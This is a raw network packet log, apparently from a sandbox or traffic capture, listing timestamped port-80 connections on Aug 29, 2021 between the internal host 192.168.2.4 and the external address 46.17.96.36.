Aug 29, 2021 22:27:41.428015947 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.428103924 CEST	49804	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.431349993 CEST	80	49806	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.431474924 CEST	49806	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.436784983 CEST	49806	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.438862085 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.471668005 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.471754074 CEST	80	49806	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.472373962 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.472390890 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.472394943 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.472551107 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.472628117 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.505048037 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.505085945 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.505110979 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.505135059 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.505157948 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.505217075 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.505260944 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.505278111 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.505960941 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.505990028 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.506047964 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.506076097 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.511917114 CEST	80	49806	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.512006998 CEST	49806	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.538034916 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.538074017 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.538116932 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.538140059 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.538172960 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.538192034 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.538238049 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.538263083 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.538286924 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.538307905 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.538330078 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.538343906 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.538446903 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.538506985 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.539539099 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.539625883 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.539670944 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.539694071 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.539740086 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.539771080 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.570899010 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.570943117 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.570960045 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.571027040 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.571079016 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.571254015 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.571307898 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.571338892 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.571372032 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.571413994 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.571444988 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.571476936 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.571501017 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.571743011 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.571768999 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.571793079 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.572325945 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.572352886 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.572376013 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.572400093 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.572423935 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.572812080 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.572839975 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.572865963 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.603688955 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.604238987 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.604270935 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.604404926 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.604429007 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.604454041 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.604480028 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.605206966 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.628712893 CEST	49806	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.629802942 CEST	49808	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.642554998 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.642644882 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.664582968 CEST	80	49806	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.664653063 CEST	49806	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.664855957 CEST	80	49808	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.664975882 CEST	49808	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.665491104 CEST	49808	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.700670958 CEST	80	49808	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.739428043 CEST	80	49808	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.739578009 CEST	49808	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.878645897 CEST	49808	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.879097939 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.880316973 CEST	49809	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.881570101 CEST	49810	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.912012100 CEST	80	49807	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.912127018 CEST	49807	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.914407015 CEST	80	49808	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.914496899 CEST	49808	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.915015936 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.915179014 CEST	49810	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.915307045 CEST	80	49809	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.915410042 CEST	49809	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.917011976 CEST	49810	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.917108059 CEST	49810	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.917357922 CEST	49810	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.917476892 CEST	49810	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.918452978 CEST	49809	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.949800014 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.949832916 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.950074911 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.950103045 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.950126886 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.950161934 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.950187922 CEST	49810	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.950226068 CEST	49810	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.950237036 CEST	49810	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.950335979 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.950416088 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.950506926 CEST	49810	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.953193903 CEST	80	49809	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.984402895 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.984441996 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.984458923 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.984520912 CEST	49810	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.984616041 CEST	49810	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.984930992 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.984958887 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.984981060 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.985043049 CEST	49810	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.985081911 CEST	49810	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.995179892 CEST	80	49809	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.995296955 CEST	49809	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.017214060 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.017257929 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.017287016 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.017311096 CEST	49810	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.017349005 CEST	49810	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.017370939 CEST	49810	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.017503977 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.017577887 CEST	49810	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.017659903 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.017684937 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.017981052 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.018007040 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.018033028 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.018601894 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.018637896 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.018666029 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.019043922 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.051286936 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.051525116 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.051553965 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.051718950 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.051745892 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.052246094 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.052269936 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.052304029 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.093851089 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.093982935 CEST	49810	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.137937069 CEST	49810	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.139053106 CEST	49809	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.165040970 CEST	49811	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.170742989 CEST	80	49810	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.170885086 CEST	49810	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.173661947 CEST	80	49809	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.173773050 CEST	49809	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.198877096 CEST	80	49811	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.198981047 CEST	49811	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.215984106 CEST	49811	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.248549938 CEST	80	49811	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.291254997 CEST	80	49811	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.291361094 CEST	49811	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.425074100 CEST	49811	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.426884890 CEST	49812	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.457997084 CEST	80	49811	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.458977938 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.459084988 CEST	49811	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.459197998 CEST	49812	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.465572119 CEST	49813	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.481004953 CEST	49812	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.481086969 CEST	49812	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.481250048 CEST	49812	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.481359005 CEST	49812	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.497595072 CEST	80	49813	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.497734070 CEST	49813	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.498218060 CEST	49813	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.513837099 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.513873100 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.513897896 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.513921976 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.513947964 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.513972044 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.514079094 CEST	49812	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.514130116 CEST	49812	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.514157057 CEST	49812	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.514182091 CEST	49812	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.530144930 CEST	80	49813	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.546540976 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.546605110 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.546617031 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.546629906 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.546646118 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.546804905 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.546955109 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.546977043 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.547019005 CEST	49812	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.547178030 CEST	49812	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.547231913 CEST	49812	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.547297001 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.547362089 CEST	49812	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.547451019 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.547544956 CEST	49812	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.570733070 CEST	80	49813	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.572344065 CEST	49813	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.579157114 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.579226017 CEST	49812	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.579288006 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.579483032 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.579585075 CEST	49812	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.579600096 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.579629898 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.579802990 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.579924107 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.579960108 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.580118895 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.580132961 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.580163956 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.611315966 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.611521959 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.611700058 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.611895084 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.649260998 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.649776936 CEST	49812	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.727212906 CEST	49812	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.727631092 CEST	49813	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.729552031 CEST	49814	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.759887934 CEST	80	49812	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.759974957 CEST	49812	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.760052919 CEST	80	49813	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.760797024 CEST	49813	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.765012980 CEST	80	49814	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.765194893 CEST	49814	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.782445908 CEST	49814	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.817534924 CEST	80	49814	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.859319925 CEST	80	49814	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:42.859416962 CEST	49814	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.974561930 CEST	49814	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:42.975558043 CEST	49815	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.000288963 CEST	49816	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.007988930 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.008105040 CEST	49815	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.009632111 CEST	80	49814	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.009722948 CEST	49814	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.022821903 CEST	49815	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.022887945 CEST	49815	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.023046017 CEST	49815	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.023099899 CEST	49815	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.032452106 CEST	80	49816	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.032541037 CEST	49816	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.033591032 CEST	49816	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.055499077 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.056914091 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.056936026 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.056946039 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.056957960 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.056967974 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.056977987 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.057071924 CEST	49815	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.057182074 CEST	49815	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.065589905 CEST	80	49816	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.089423895 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.089518070 CEST	49815	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.089595079 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.089611053 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.089624882 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.089668036 CEST	49815	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.089720964 CEST	49815	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.089780092 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.089864969 CEST	49815	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.113495111 CEST	80	49816	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.113574028 CEST	49816	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.121938944 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.122010946 CEST	49815	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.122119904 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.122175932 CEST	49815	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.122277975 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.122293949 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.122307062 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.122338057 CEST	49815	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.122363091 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.122391939 CEST	49815	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.122711897 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.122726917 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.122744083 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.123091936 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.154248953 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.154465914 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.154511929 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.154601097 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.154787064 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.191549063 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.191651106 CEST	49815	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.229684114 CEST	49815	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.229948044 CEST	49816	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.230988979 CEST	49817	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.262366056 CEST	80	49816	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.262433052 CEST	49816	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.262701035 CEST	80	49815	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.262752056 CEST	49815	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.264655113 CEST	80	49817	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.264734030 CEST	49817	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.265582085 CEST	49817	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.297504902 CEST	80	49817	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.342721939 CEST	80	49817	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.342792988 CEST	49817	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.391598940 CEST	49817	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.392535925 CEST	49818	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.423697948 CEST	80	49817	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.423752069 CEST	49817	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.423996925 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.424067020 CEST	49818	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.424482107 CEST	49818	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.424577951 CEST	49818	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.424782038 CEST	49818	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.424891949 CEST	49818	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.455991030 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.457773924 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.457792044 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.457806110 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.457818031 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.457829952 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.457844019 CEST	80	49818	46.17.96.36	192.168.2.4
